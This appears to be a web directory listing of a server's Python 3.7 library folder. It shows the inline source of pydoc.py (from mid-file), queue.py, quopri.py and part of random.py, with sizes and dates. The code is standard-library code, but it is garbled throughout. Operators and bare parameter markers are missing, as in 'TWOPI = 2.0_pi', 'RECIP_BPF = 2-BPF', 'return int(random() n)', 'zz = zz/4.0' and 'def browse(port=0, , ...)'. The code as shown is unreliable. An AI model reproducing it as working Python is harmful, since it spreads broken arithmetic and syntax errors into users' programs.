return 'Index of Modules', ''.join(contents) def html_search(key): """Search results page.""" # scan for modules search_result = [] def callback(path, modname, desc): if modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' search_result.append((modname, desc and '- ' + desc)) with warnings.catch_warnings(): warnings.filterwarnings('ignore') # ignore problems during import def onerror(modname): pass ModuleScanner().run(callback, key, onerror=onerror) # format page def bltinlink(name): return '<a href="%s.html">%s</a>' % (name, name) results = [] heading = html.heading( '<big><big><strong>Search Results</strong></big></big>', '#ffffff', '#7799ee') for name, desc in search_result: results.append(bltinlink(name) + desc) contents = heading + html.bigsection( 'key = %s' % key, '#ffffff', '#ee77aa', '<br>'.join(results)) return 'Search Results', contents def html_topics(): """Index of topic texts available.""" def bltinlink(name): return '<a href="topic?key=%s">%s</a>' % (name, name) heading = html.heading( '<big><big><strong>INDEX</strong></big></big>', '#ffffff', '#7799ee') names = sorted(Helper.topics.keys()) contents = html.multicolumn(names, bltinlink) contents = heading + html.bigsection( 'Topics', '#ffffff', '#ee77aa', contents) return 'Topics', contents def html_keywords(): """Index of keywords.""" heading = html.heading( '<big><big><strong>INDEX</strong></big></big>', '#ffffff', '#7799ee') names = sorted(Helper.keywords.keys()) def bltinlink(name): return '<a href="topic?key=%s">%s</a>' % (name, name) contents = html.multicolumn(names, bltinlink) contents = heading + html.bigsection( 'Keywords', '#ffffff', '#ee77aa', contents) return 'Keywords', contents def html_topicpage(topic): """Topic or keyword help page.""" buf = io.StringIO() htmlhelp = Helper(buf, buf) contents, xrefs = htmlhelp._gettopic(topic) if topic in htmlhelp.keywords: title = 'KEYWORD' else: title = 'TOPIC' heading = html.heading( '<big><big><strong>%s</strong></big></big>' % title, '#ffffff', '#7799ee') contents = '<pre>%s</pre>' % html.markup(contents) contents = html.bigsection(topic , '#ffffff','#ee77aa', contents) if xrefs: xrefs = sorted(xrefs.split()) def bltinlink(name): return '<a href="topic?key=%s">%s</a>' % (name, name) xrefs = html.multicolumn(xrefs, bltinlink) xrefs = html.section('Related help topics: ', '#ffffff', '#ee77aa', xrefs) return ('%s %s' % (title, topic), ''.join((heading, contents, xrefs))) def html_getobj(url): obj = locate(url, forceload=1) if obj is None and url != 'None': raise ValueError('could not find object') title = describe(obj) content = html.document(obj, url) return title, content def html_error(url, exc): heading = html.heading( '<big><big><strong>Error</strong></big></big>', '#ffffff', '#7799ee') contents = '<br>'.join(html.escape(line) for line in format_exception_only(type(exc), exc)) contents = heading + html.bigsection(url, '#ffffff', '#bb0000', contents) return "Error - %s" % url, contents def get_html_page(url): """Generate an HTML page for url.""" complete_url = url if url.endswith('.html'): url = url[:-5] try: if url in ("", "index"): title, content = html_index() elif url == "topics": title, content = html_topics() elif url == "keywords": title, content = html_keywords() elif '=' in url: op, _, url = url.partition('=') if op == "search?key": title, content = html_search(url) elif op == "topic?key": # try topics first, then objects. try: title, content = html_topicpage(url) except ValueError: title, content = html_getobj(url) elif op == "get?key": # try objects first, then topics. if url in ("", "index"): title, content = html_index() else: try: title, content = html_getobj(url) except ValueError: title, content = html_topicpage(url) else: raise ValueError('bad pydoc url') else: title, content = html_getobj(url) except Exception as exc: # Catch any errors and display them in an error page. title, content = html_error(complete_url, exc) return html.page(title, content) if url.startswith('/'): url = url[1:] if content_type == 'text/css': path_here = os.path.dirname(os.path.realpath(__file__)) css_path = os.path.join(path_here, url) with open(css_path) as fp: return ''.join(fp.readlines()) elif content_type == 'text/html': return get_html_page(url) # Errors outside the url handler are caught by the server. raise TypeError('unknown content type %r for url %s' % (content_type, url)) def browse(port=0, , open_browser=True, hostname='localhost'): """Start the enhanced pydoc Web server and open a Web browser. Use port '0' to start the server on an arbitrary port. Set open_browser to False to suppress opening a browser. """ import webbrowser serverthread = _start_server(_url_handler, hostname, port) if serverthread.error: print(serverthread.error) return if serverthread.serving: server_help_msg = 'Server commands: [b]rowser, [q]uit' if open_browser: webbrowser.open(serverthread.url) try: print('Server ready at', serverthread.url) print(server_help_msg) while serverthread.serving: cmd = input('server> ') cmd = cmd.lower() if cmd == 'q': break elif cmd == 'b': webbrowser.open(serverthread.url) else: print(server_help_msg) except (KeyboardInterrupt, EOFError): print() finally: if serverthread.serving: serverthread.stop() print('Server stopped') # -------------------------------------------------- command-line interface def ispath(x): return isinstance(x, str) and x.find(os.sep) >= 0 def _get_revised_path(given_path, argv0): """Ensures current directory is on returned path, and argv0 directory is not Exception: argv0 dir is left alone if it's also pydoc's directory. Returns a new path entry list, or None if no adjustment is needed. """ # Scripts may get the current directory in their path by default if they're # run with the -m switch, or directly from the current directory. # The interactive prompt also allows imports from the current directory. # Accordingly, if the current directory is already present, don't make # any changes to the given_path if '' in given_path or os.curdir in given_path or os.getcwd() in given_path: return None # Otherwise, add the current directory to the given path, and remove the # script directory (as long as the latter isn't also pydoc's directory. stdlib_dir = os.path.dirname(__file__) script_dir = os.path.dirname(argv0) revised_path = given_path.copy() if script_dir in given_path and not os.path.samefile(script_dir, stdlib_dir): revised_path.remove(script_dir) revised_path.insert(0, os.getcwd()) return revised_path # Note: the tests only cover _get_revised_path, not _adjust_cli_path itself def _adjust_cli_sys_path(): """Ensures current directory is on sys.path, and __main__ directory is not. Exception: __main__ dir is left alone if it's also pydoc's directory. """ revised_path = _get_revised_path(sys.path, sys.argv[0]) if revised_path is not None: sys.path[:] = revised_path def cli(): """Command-line interface (looks at sys.argv to decide what to do).""" import getopt class BadUsage(Exception): pass _adjust_cli_sys_path() try: opts, args = getopt.getopt(sys.argv[1:], 'bk:n:p:w') writing = False start_server = False open_browser = False port = 0 hostname = 'localhost' for opt, val in opts: if opt == '-b': start_server = True open_browser = True if opt == '-k': apropos(val) return if opt == '-p': start_server = True port = val if opt == '-w': writing = True if opt == '-n': start_server = True hostname = val if start_server: browse(port, hostname=hostname, open_browser=open_browser) return if not args: raise BadUsage for arg in args: if ispath(arg) and not os.path.exists(arg): print('file %r does not exist' % arg) break try: if ispath(arg) and os.path.isfile(arg): arg = importfile(arg) if writing: if ispath(arg) and os.path.isdir(arg): writedocs(arg) else: writedoc(arg) else: help.help(arg) except ErrorDuringImport as value: print(value) except (getopt.error, BadUsage): cmd = os.path.splitext(os.path.basename(sys.argv[0]))[0] print("""pydoc - the Python documentation tool {cmd} <name> ... Show text documentation on something. <name> may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If <name> contains a '{sep}', it is used as the path to a Python source file to document. If name is 'keywords', 'topics', or 'modules', a listing of these things is displayed. {cmd} -k <keyword> Search for a keyword in the synopsis lines of all available modules. {cmd} -n <hostname> Start an HTTP server with the given hostname (default: localhost). {cmd} -p <port> Start an HTTP server on the given port on the local machine. Port number 0 can be used to get an arbitrary unused port. {cmd} -b Start an HTTP server on an arbitrary unused port and open a Web browser to interactively browse documentation. This option can be used in combination with -n and/or -p. {cmd} -w <name> ... Write out the HTML documentation for a module to a file in the current directory. If <name> contains a '{sep}', it is treated as a filename; if it names a directory, documentation is written for all the contents. """.format(cmd=cmd, sep=os.sep)) if __name__ == '__main__': cli()	103.39 KB	2024-04-17 17:55
📁 pydoc_data	-	2025-10-13 08:00
📄 queue.py '''A multi-producer, multi-consumer queue.''' import threading from collections import deque from heapq import heappush, heappop from time import monotonic as time try: from _queue import SimpleQueue except ImportError: SimpleQueue = None __all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue', 'SimpleQueue'] try: from _queue import Empty except AttributeError: class Empty(Exception): 'Exception raised by Queue.get(block=0)/get_nowait().' pass class Full(Exception): 'Exception raised by Queue.put(block=0)/put_nowait().' pass class Queue: '''Create a queue object with a given maximum size. If maxsize is <= 0, the queue size is infinite. ''' def __init__(self, maxsize=0): self.maxsize = maxsize self._init(maxsize) # mutex must be held whenever the queue is mutating. All methods # that acquire mutex must release it before returning. mutex # is shared between the three conditions, so acquiring and # releasing the conditions also acquires and releases mutex. self.mutex = threading.Lock() # Notify not_empty whenever an item is added to the queue; a # thread waiting to get is notified then. self.not_empty = threading.Condition(self.mutex) # Notify not_full whenever an item is removed from the queue; # a thread waiting to put is notified then. self.not_full = threading.Condition(self.mutex) # Notify all_tasks_done whenever the number of unfinished tasks # drops to zero; thread waiting to join() is notified to resume self.all_tasks_done = threading.Condition(self.mutex) self.unfinished_tasks = 0 def task_done(self): '''Indicate that a formerly enqueued task is complete. Used by Queue consumer threads. For each get() used to fetch a task, a subsequent call to task_done() tells the queue that the processing on the task is complete. If a join() is currently blocking, it will resume when all items have been processed (meaning that a task_done() call was received for every item that had been put() into the queue). Raises a ValueError if called more times than there were items placed in the queue. ''' with self.all_tasks_done: unfinished = self.unfinished_tasks - 1 if unfinished <= 0: if unfinished < 0: raise ValueError('task_done() called too many times') self.all_tasks_done.notify_all() self.unfinished_tasks = unfinished def join(self): '''Blocks until all items in the Queue have been gotten and processed. The count of unfinished tasks goes up whenever an item is added to the queue. The count goes down whenever a consumer thread calls task_done() to indicate the item was retrieved and all work on it is complete. When the count of unfinished tasks drops to zero, join() unblocks. ''' with self.all_tasks_done: while self.unfinished_tasks: self.all_tasks_done.wait() def qsize(self): '''Return the approximate size of the queue (not reliable!).''' with self.mutex: return self._qsize() def empty(self): '''Return True if the queue is empty, False otherwise (not reliable!). This method is likely to be removed at some point. Use qsize() == 0 as a direct substitute, but be aware that either approach risks a race condition where a queue can grow before the result of empty() or qsize() can be used. To create code that needs to wait for all queued tasks to be completed, the preferred technique is to use the join() method. ''' with self.mutex: return not self._qsize() def full(self): '''Return True if the queue is full, False otherwise (not reliable!). This method is likely to be removed at some point. Use qsize() >= n as a direct substitute, but be aware that either approach risks a race condition where a queue can shrink before the result of full() or qsize() can be used. ''' with self.mutex: return 0 < self.maxsize <= self._qsize() def put(self, item, block=True, timeout=None): '''Put an item into the queue. If optional args 'block' is true and 'timeout' is None (the default), block if necessary until a free slot is available. If 'timeout' is a non-negative number, it blocks at most 'timeout' seconds and raises the Full exception if no free slot was available within that time. Otherwise ('block' is false), put an item on the queue if a free slot is immediately available, else raise the Full exception ('timeout' is ignored in that case). ''' with self.not_full: if self.maxsize > 0: if not block: if self._qsize() >= self.maxsize: raise Full elif timeout is None: while self._qsize() >= self.maxsize: self.not_full.wait() elif timeout < 0: raise ValueError("'timeout' must be a non-negative number") else: endtime = time() + timeout while self._qsize() >= self.maxsize: remaining = endtime - time() if remaining <= 0.0: raise Full self.not_full.wait(remaining) self._put(item) self.unfinished_tasks += 1 self.not_empty.notify() def get(self, block=True, timeout=None): '''Remove and return an item from the queue. If optional args 'block' is true and 'timeout' is None (the default), block if necessary until an item is available. If 'timeout' is a non-negative number, it blocks at most 'timeout' seconds and raises the Empty exception if no item was available within that time. Otherwise ('block' is false), return an item if one is immediately available, else raise the Empty exception ('timeout' is ignored in that case). ''' with self.not_empty: if not block: if not self._qsize(): raise Empty elif timeout is None: while not self._qsize(): self.not_empty.wait() elif timeout < 0: raise ValueError("'timeout' must be a non-negative number") else: endtime = time() + timeout while not self._qsize(): remaining = endtime - time() if remaining <= 0.0: raise Empty self.not_empty.wait(remaining) item = self._get() self.not_full.notify() return item def put_nowait(self, item): '''Put an item into the queue without blocking. Only enqueue the item if a free slot is immediately available. Otherwise raise the Full exception. ''' return self.put(item, block=False) def get_nowait(self): '''Remove and return an item from the queue without blocking. Only get an item if one is immediately available. Otherwise raise the Empty exception. ''' return self.get(block=False) # Override these methods to implement other queue organizations # (e.g. stack or priority queue). # These will only be called with appropriate locks held # Initialize the queue representation def _init(self, maxsize): self.queue = deque() def _qsize(self): return len(self.queue) # Put a new item in the queue def _put(self, item): self.queue.append(item) # Get an item from the queue def _get(self): return self.queue.popleft() class PriorityQueue(Queue): '''Variant of Queue that retrieves open entries in priority order (lowest first). Entries are typically tuples of the form: (priority number, data). ''' def _init(self, maxsize): self.queue = [] def _qsize(self): return len(self.queue) def _put(self, item): heappush(self.queue, item) def _get(self): return heappop(self.queue) class LifoQueue(Queue): '''Variant of Queue that retrieves most recently added entries first.''' def _init(self, maxsize): self.queue = [] def _qsize(self): return len(self.queue) def _put(self, item): self.queue.append(item) def _get(self): return self.queue.pop() class _PySimpleQueue: '''Simple, unbounded FIFO queue. This pure Python implementation is not reentrant. ''' # Note: while this pure Python version provides fairness # (by using a threading.Semaphore which is itself fair, being based # on threading.Condition), fairness is not part of the API contract. # This allows the C version to use a different implementation. def __init__(self): self._queue = deque() self._count = threading.Semaphore(0) def put(self, item, block=True, timeout=None): '''Put the item on the queue. The optional 'block' and 'timeout' arguments are ignored, as this method never blocks. They are provided for compatibility with the Queue class. ''' self._queue.append(item) self._count.release() def get(self, block=True, timeout=None): '''Remove and return an item from the queue. If optional args 'block' is true and 'timeout' is None (the default), block if necessary until an item is available. If 'timeout' is a non-negative number, it blocks at most 'timeout' seconds and raises the Empty exception if no item was available within that time. Otherwise ('block' is false), return an item if one is immediately available, else raise the Empty exception ('timeout' is ignored in that case). ''' if timeout is not None and timeout < 0: raise ValueError("'timeout' must be a non-negative number") if not self._count.acquire(block, timeout): raise Empty return self._queue.popleft() def put_nowait(self, item): '''Put an item into the queue without blocking. This is exactly equivalent to `put(item)` and is only provided for compatibility with the Queue class. ''' return self.put(item, block=False) def get_nowait(self): '''Remove and return an item from the queue without blocking. Only get an item if one is immediately available. Otherwise raise the Empty exception. ''' return self.get(block=False) def empty(self): '''Return True if the queue is empty, False otherwise (not reliable!).''' return len(self._queue) == 0 def qsize(self): '''Return the approximate size of the queue (not reliable!).''' return len(self._queue) if SimpleQueue is None: SimpleQueue = _PySimpleQueue	11.09 KB	2024-04-17 17:55
📄 quopri.py #! /opt/alt/python37/bin/python3.7 """Conversions to/from quoted-printable transport encoding as per RFC 1521.""" # (Dec 1991 version). __all__ = ["encode", "decode", "encodestring", "decodestring"] ESCAPE = b'=' MAXLINESIZE = 76 HEX = b'0123456789ABCDEF' EMPTYSTRING = b'' try: from binascii import a2b_qp, b2a_qp except ImportError: a2b_qp = None b2a_qp = None def needsquoting(c, quotetabs, header): """Decide whether a particular byte ordinal needs to be quoted. The 'quotetabs' flag indicates whether embedded tabs and spaces should be quoted. Note that line-ending tabs and spaces are always encoded, as per RFC 1521. """ assert isinstance(c, bytes) if c in b' \t': return quotetabs # if header, we have to escape _ because _ is used to escape space if c == b'_': return header return c == ESCAPE or not (b' ' <= c <= b'~') def quote(c): """Quote a single character.""" assert isinstance(c, bytes) and len(c)==1 c = ord(c) return ESCAPE + bytes((HEX[c//16], HEX[c%16])) def encode(input, output, quotetabs, header=False): """Read 'input', apply quoted-printable encoding, and write to 'output'. 'input' and 'output' are binary file objects. The 'quotetabs' flag indicates whether embedded tabs and spaces should be quoted. Note that line-ending tabs and spaces are always encoded, as per RFC 1521. The 'header' flag indicates whether we are encoding spaces as _ as per RFC 1522.""" if b2a_qp is not None: data = input.read() odata = b2a_qp(data, quotetabs=quotetabs, header=header) output.write(odata) return def write(s, output=output, lineEnd=b'\n'): # RFC 1521 requires that the line ending in a space or tab must have # that trailing character encoded. if s and s[-1:] in b' \t': output.write(s[:-1] + quote(s[-1:]) + lineEnd) elif s == b'.': output.write(quote(s) + lineEnd) else: output.write(s + lineEnd) prevline = None while 1: line = input.readline() if not line: break outline = [] # Strip off any readline induced trailing newline stripped = b'' if line[-1:] == b'\n': line = line[:-1] stripped = b'\n' # Calculate the un-length-limited encoded line for c in line: c = bytes((c,)) if needsquoting(c, quotetabs, header): c = quote(c) if header and c == b' ': outline.append(b'_') else: outline.append(c) # First, write out the previous line if prevline is not None: write(prevline) # Now see if we need any soft line breaks because of RFC-imposed # length limitations. Then do the thisline->prevline dance. thisline = EMPTYSTRING.join(outline) while len(thisline) > MAXLINESIZE: # Don't forget to include the soft line break `=' sign in the # length calculation! write(thisline[:MAXLINESIZE-1], lineEnd=b'=\n') thisline = thisline[MAXLINESIZE-1:] # Write out the current line prevline = thisline # Write out the last line, without a trailing newline if prevline is not None: write(prevline, lineEnd=stripped) def encodestring(s, quotetabs=False, header=False): if b2a_qp is not None: return b2a_qp(s, quotetabs=quotetabs, header=header) from io import BytesIO infp = BytesIO(s) outfp = BytesIO() encode(infp, outfp, quotetabs, header) return outfp.getvalue() def decode(input, output, header=False): """Read 'input', apply quoted-printable decoding, and write to 'output'. 'input' and 'output' are binary file objects. If 'header' is true, decode underscore as space (per RFC 1522).""" if a2b_qp is not None: data = input.read() odata = a2b_qp(data, header=header) output.write(odata) return new = b'' while 1: line = input.readline() if not line: break i, n = 0, len(line) if n > 0 and line[n-1:n] == b'\n': partial = 0; n = n-1 # Strip trailing whitespace while n > 0 and line[n-1:n] in b" \t\r": n = n-1 else: partial = 1 while i < n: c = line[i:i+1] if c == b'_' and header: new = new + b' '; i = i+1 elif c != ESCAPE: new = new + c; i = i+1 elif i+1 == n and not partial: partial = 1; break elif i+1 < n and line[i+1:i+2] == ESCAPE: new = new + ESCAPE; i = i+2 elif i+2 < n and ishex(line[i+1:i+2]) and ishex(line[i+2:i+3]): new = new + bytes((unhex(line[i+1:i+3]),)); i = i+3 else: # Bad escape sequence -- leave it in new = new + c; i = i+1 if not partial: output.write(new + b'\n') new = b'' if new: output.write(new) def decodestring(s, header=False): if a2b_qp is not None: return a2b_qp(s, header=header) from io import BytesIO infp = BytesIO(s) outfp = BytesIO() decode(infp, outfp, header=header) return outfp.getvalue() # Other helper functions def ishex(c): """Return true if the byte ordinal 'c' is a hexadecimal digit in ASCII.""" assert isinstance(c, bytes) return b'0' <= c <= b'9' or b'a' <= c <= b'f' or b'A' <= c <= b'F' def unhex(s): """Get the integer value of a hexadecimal number.""" bits = 0 for c in s: c = bytes((c,)) if b'0' <= c <= b'9': i = ord('0') elif b'a' <= c <= b'f': i = ord('a')-10 elif b'A' <= c <= b'F': i = ord(b'A')-10 else: assert False, "non-hex digit "+repr(c) bits = bits*16 + (ord(c) - i) return bits def main(): import sys import getopt try: opts, args = getopt.getopt(sys.argv[1:], 'td') except getopt.error as msg: sys.stdout = sys.stderr print(msg) print("usage: quopri [-t \| -d] [file] ...") print("-t: quote tabs") print("-d: decode; default encode") sys.exit(2) deco = 0 tabs = 0 for o, a in opts: if o == '-t': tabs = 1 if o == '-d': deco = 1 if tabs and deco: sys.stdout = sys.stderr print("-t and -d are mutually exclusive") sys.exit(2) if not args: args = ['-'] sts = 0 for file in args: if file == '-': fp = sys.stdin.buffer else: try: fp = open(file, "rb") except OSError as msg: sys.stderr.write("%s: can't open (%s)\n" % (file, msg)) sts = 1 continue try: if deco: decode(fp, sys.stdout.buffer) else: encode(fp, sys.stdout.buffer, tabs) finally: if file != '-': fp.close() if sts: sys.exit(sts) if __name__ == '__main__': main()	7.09 KB	2024-04-17 17:55
📄 random.py """Random variable generators. integers -------- uniform within range sequences --------- pick random element pick random sample pick weighted random sample generate random permutation distributions on the real line: ------------------------------ uniform triangular normal (Gaussian) lognormal negative exponential gamma beta pareto Weibull distributions on the circle (angles 0 to 2pi) --------------------------------------------- circular uniform von Mises General notes on the underlying Mersenne Twister core generator: * The period is 2*19937-1. It is one of the most extensively tested generators in existence. * The random() method is implemented in C, executes in a single Python step, and is, therefore, threadsafe. """ from warnings import warn as _warn from types import MethodType as _MethodType, BuiltinMethodType as _BuiltinMethodType from math import log as _log, exp as _exp, pi as _pi, e as _e, ceil as _ceil from math import sqrt as _sqrt, acos as _acos, cos as _cos, sin as _sin from os import urandom as _urandom from _collections_abc import Set as _Set, Sequence as _Sequence from hashlib import sha512 as _sha512 import itertools as _itertools import bisect as _bisect import os as _os __all__ = ["Random","seed","random","uniform","randint","choice","sample", "randrange","shuffle","normalvariate","lognormvariate", "expovariate","vonmisesvariate","gammavariate","triangular", "gauss","betavariate","paretovariate","weibullvariate", "getstate","setstate", "getrandbits", "choices", "SystemRandom"] NV_MAGICCONST = 4 * _exp(-0.5)/_sqrt(2.0) TWOPI = 2.0_pi LOG4 = _log(4.0) SG_MAGICCONST = 1.0 + _log(4.5) BPF = 53 # Number of bits in a float RECIP_BPF = 2-BPF # Translated by Guido van Rossum from C source provided by # Adrian Baddeley. Adapted by Raymond Hettinger for use with # the Mersenne Twister and os.urandom() core generators. import _random class Random(_random.Random): """Random number generator base class used by bound module functions. Used to instantiate instances of Random to get generators that don't share state. Class Random can also be subclassed if you want to use a different basic generator of your own devising: in that case, override the following methods: random(), seed(), getstate(), and setstate(). Optionally, implement a getrandbits() method so that randrange() can cover arbitrarily large ranges. """ VERSION = 3 # used by getstate/setstate def __init__(self, x=None): """Initialize an instance. Optional argument x controls seeding, as for Random.seed(). """ self.seed(x) self.gauss_next = None def seed(self, a=None, version=2): """Initialize internal state from hashable object. None or no argument seeds from current time or from an operating system specific randomness source if available. If a* is an int, all bits are used. For version 2 (the default), all of the bits are used if a is a str, bytes, or bytearray. For version 1 (provided for reproducing random sequences from older versions of Python), the algorithm for str and bytes generates a narrower range of seeds. """ if version == 1 and isinstance(a, (str, bytes)): a = a.decode('latin-1') if isinstance(a, bytes) else a x = ord(a[0]) << 7 if a else 0 for c in map(ord, a): x = ((1000003 * x) ^ c) & 0xFFFFFFFFFFFFFFFF x ^= len(a) a = -2 if x == -1 else x if version == 2 and isinstance(a, (str, bytes, bytearray)): if isinstance(a, str): a = a.encode() a += _sha512(a).digest() a = int.from_bytes(a, 'big') super().seed(a) self.gauss_next = None def getstate(self): """Return internal state; can be passed to setstate() later.""" return self.VERSION, super().getstate(), self.gauss_next def setstate(self, state): """Restore internal state from object returned by getstate().""" version = state[0] if version == 3: version, internalstate, self.gauss_next = state super().setstate(internalstate) elif version == 2: version, internalstate, self.gauss_next = state # In version 2, the state was saved as signed ints, which causes # inconsistencies between 32/64-bit systems. The state is # really unsigned 32-bit ints, so we convert negative ints from # version 2 to positive longs for version 3. try: internalstate = tuple(x % (2*32) for x in internalstate) except ValueError as e: raise TypeError from e super().setstate(internalstate) else: raise ValueError("state with version %s passed to " "Random.setstate() of version %s" % (version, self.VERSION)) ## ---- Methods below this point do not need to be overridden when ## ---- subclassing for the purpose of using a different core generator. ## -------------------- pickle support ------------------- # Issue 17489: Since __reduce__ was defined to fix #759889 this is no # longer called; we leave it here because it has been here since random was # rewritten back in 2001 and why risk breaking something. def __getstate__(self): # for pickle return self.getstate() def __setstate__(self, state): # for pickle self.setstate(state) def __reduce__(self): return self.__class__, (), self.getstate() ## -------------------- integer methods ------------------- def randrange(self, start, stop=None, step=1, _int=int): """Choose a random item from range(start, stop[, step]). This fixes the problem with randint() which includes the endpoint; in Python this is usually not what you want. """ # This code is a bit messy to make it fast for the # common case while still doing adequate error checking. istart = _int(start) if istart != start: raise ValueError("non-integer arg 1 for randrange()") if stop is None: if istart > 0: return self._randbelow(istart) raise ValueError("empty range for randrange()") # stop argument supplied. istop = _int(stop) if istop != stop: raise ValueError("non-integer stop for randrange()") width = istop - istart if step == 1 and width > 0: return istart + self._randbelow(width) if step == 1: raise ValueError("empty range for randrange() (%d,%d, %d)" % (istart, istop, width)) # Non-unit step argument supplied. istep = _int(step) if istep != step: raise ValueError("non-integer step for randrange()") if istep > 0: n = (width + istep - 1) // istep elif istep < 0: n = (width + istep + 1) // istep else: raise ValueError("zero step for randrange()") if n <= 0: raise ValueError("empty range for randrange()") return istart + istepself._randbelow(n) def randint(self, a, b): """Return random integer in range [a, b], including both end points. """ return self.randrange(a, b+1) def _randbelow(self, n, int=int, maxsize=1<<BPF, type=type, Method=_MethodType, BuiltinMethod=_BuiltinMethodType): "Return a random int in the range [0,n). Raises ValueError if n==0." random = self.random getrandbits = self.getrandbits # Only call self.getrandbits if the original random() builtin method # has not been overridden or if a new getrandbits() was supplied. if type(random) is BuiltinMethod or type(getrandbits) is Method: k = n.bit_length() # don't use (n-1) here because n can be 1 r = getrandbits(k) # 0 <= r < 2*k while r >= n: r = getrandbits(k) return r # There's an overridden random() method but no new getrandbits() method, # so we can only use random() from here. if n >= maxsize: _warn("Underlying random() generator does not supply \n" "enough bits to choose from a population range this large.\n" "To remove the range limitation, add a getrandbits() method.") return int(random() n) if n == 0: raise ValueError("Boundary cannot be zero") rem = maxsize % n limit = (maxsize - rem) / maxsize # int(limit * maxsize) % n == 0 r = random() while r >= limit: r = random() return int(rmaxsize) % n ## -------------------- sequence methods ------------------- def choice(self, seq): """Choose a random element from a non-empty sequence.""" try: i = self._randbelow(len(seq)) except ValueError: raise IndexError('Cannot choose from an empty sequence') from None return seq[i] def shuffle(self, x, random=None): """Shuffle list x in place, and return None. Optional argument random is a 0-argument function returning a random float in [0.0, 1.0); if it is the default None, the standard random.random will be used. """ if random is None: randbelow = self._randbelow for i in reversed(range(1, len(x))): # pick an element in x[:i+1] with which to exchange x[i] j = randbelow(i+1) x[i], x[j] = x[j], x[i] else: _int = int for i in reversed(range(1, len(x))): # pick an element in x[:i+1] with which to exchange x[i] j = _int(random() (i+1)) x[i], x[j] = x[j], x[i] def sample(self, population, k): """Chooses k unique random elements from a population sequence or set. Returns a new list containing elements from the population while leaving the original population unchanged. The resulting list is in selection order so that all sub-slices will also be valid random samples. This allows raffle winners (the sample) to be partitioned into grand prize and second place winners (the subslices). Members of the population need not be hashable or unique. If the population contains repeats, then each occurrence is a possible selection in the sample. To choose a sample in a range of integers, use range as an argument. This is especially fast and space efficient for sampling from a large population: sample(range(10000000), 60) """ # Sampling without replacement entails tracking either potential # selections (the pool) in a list or previous selections in a set. # When the number of selections is small compared to the # population, then tracking selections is efficient, requiring # only a small set and an occasional reselection. For # a larger number of selections, the pool tracking method is # preferred since the list takes less space than the # set and it doesn't suffer from frequent reselections. if isinstance(population, _Set): population = tuple(population) if not isinstance(population, _Sequence): raise TypeError("Population must be a sequence or set. For dicts, use list(d).") randbelow = self._randbelow n = len(population) if not 0 <= k <= n: raise ValueError("Sample larger than population or is negative") result = [None] * k setsize = 21 # size of a small set minus size of an empty list if k > 5: setsize += 4 ** _ceil(_log(k * 3, 4)) # table size for big sets if n <= setsize: # An n-length list is smaller than a k-length set pool = list(population) for i in range(k): # invariant: non-selected at [0,n-i) j = randbelow(n-i) result[i] = pool[j] pool[j] = pool[n-i-1] # move non-selected item into vacancy else: selected = set() selected_add = selected.add for i in range(k): j = randbelow(n) while j in selected: j = randbelow(n) selected_add(j) result[i] = population[j] return result def choices(self, population, weights=None, , cum_weights=None, k=1): """Return a k sized list of population elements chosen with replacement. If the relative weights or cumulative weights are not specified, the selections are made with equal probability. """ random = self.random if cum_weights is None: if weights is None: _int = int total = len(population) return [population[_int(random() total)] for i in range(k)] cum_weights = list(_itertools.accumulate(weights)) elif weights is not None: raise TypeError('Cannot specify both weights and cumulative weights') if len(cum_weights) != len(population): raise ValueError('The number of weights does not match the population') bisect = _bisect.bisect total = cum_weights[-1] hi = len(cum_weights) - 1 return [population[bisect(cum_weights, random() * total, 0, hi)] for i in range(k)] ## -------------------- real-valued distributions ------------------- ## -------------------- uniform distribution ------------------- def uniform(self, a, b): "Get a random number in the range [a, b) or [a, b] depending on rounding." return a + (b-a) * self.random() ## -------------------- triangular -------------------- def triangular(self, low=0.0, high=1.0, mode=None): """Triangular distribution. Continuous distribution bounded by given lower and upper limits, and having a given mode value in-between. http://en.wikipedia.org/wiki/Triangular_distribution """ u = self.random() try: c = 0.5 if mode is None else (mode - low) / (high - low) except ZeroDivisionError: return low if u > c: u = 1.0 - u c = 1.0 - c low, high = high, low return low + (high - low) * _sqrt(u * c) ## -------------------- normal distribution -------------------- def normalvariate(self, mu, sigma): """Normal distribution. mu is the mean, and sigma is the standard deviation. """ # mu = mean, sigma = standard deviation # Uses Kinderman and Monahan method. Reference: Kinderman, # A.J. and Monahan, J.F., "Computer generation of random # variables using the ratio of uniform deviates", ACM Trans # Math Software, 3, (1977), pp257-260. random = self.random while 1: u1 = random() u2 = 1.0 - random() z = NV_MAGICCONST(u1-0.5)/u2 zz = zz/4.0 if zz <= -_log(u2): break return mu + zsigma ## -------------------- lognormal distribution -------------------- def lognormvariate(self, mu, sigma): """Log normal distribution. If you take the natural logarithm of this distribution, you'll get a normal distribution with mean mu and standard deviation sigma. mu can have any value, and sigma must be greater than zero. """ return _exp(self.normalvariate(mu, sigma)) ## -------------------- exponential distribution -------------------- def expovariate(self, lambd): """Exponential distribution. lambd is 1.0 divided by the desired mean. It should be nonzero. (The parameter would be called "lambda", but that is a reserved word in Python.) Returned values range from 0 to positive infinity if lambd is positive, and from negative infinity to 0 if lambd is negative. """ # lambd: rate lambd = 1/mean # ('lambda' is a Python reserved word) # we use 1-random() instead of random() to preclude the # possibility of taking the log of zero. return -_log(1.0 - self.random())/lambd ## -------------------- von Mises distribution -------------------- def vonmisesvariate(self, mu, kappa): """Circular data distribution. mu is the mean angle, expressed in radians between 0 and 2pi, and kappa is the concentration parameter, which must be greater than or equal to zero. If kappa is equal to zero, this distribution reduces to a uniform random angle over the range 0 to 2pi. """ # mu: mean angle (in radians between 0 and 2pi) # kappa: concentration parameter kappa (>= 0) # if kappa = 0 generate uniform random angle # Based upon an algorithm published in: Fisher, N.I., # "Statistical Analysis of Circular Data", Cambridge # University Press, 1993. # Thanks to Magnus Kessler for a correction to the # implementation of step 4. random = self.random if kappa <= 1e-6: return TWOPI * random() s = 0.5 / kappa r = s + _sqrt(1.0 + s * s) while 1: u1 = random() z = _cos(_pi * u1) d = z / (r + z) u2 = random() if u2 < 1.0 - d * d or u2 <= (1.0 - d) * _exp(d): break q = 1.0 / r f = (q + z) / (1.0 + q * z) u3 = random() if u3 > 0.5: theta = (mu + _acos(f)) % TWOPI else: theta = (mu - _acos(f)) % TWOPI return theta ## -------------------- gamma distribution -------------------- def gammavariate(self, alpha, beta): """Gamma distribution. Not the gamma function! Conditions on the parameters are alpha > 0 and beta > 0. The probability distribution function is: x ** (alpha - 1) * math.exp(-x / beta) pdf(x) = -------------------------------------- math.gamma(alpha) * beta ** alpha """ # 